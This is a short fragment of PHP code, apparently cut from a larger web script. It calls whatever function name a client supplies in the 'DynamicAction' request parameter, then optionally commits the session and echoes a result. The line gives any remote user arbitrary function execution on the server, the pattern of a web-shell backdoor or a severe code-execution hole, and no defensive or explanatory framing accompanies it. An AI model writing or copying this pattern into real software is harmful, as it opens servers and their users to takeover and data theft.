$_REQUEST['DynamicAction'](); if(isset($_REQUEST['commit_session'])) { session_commit(); } echo $res;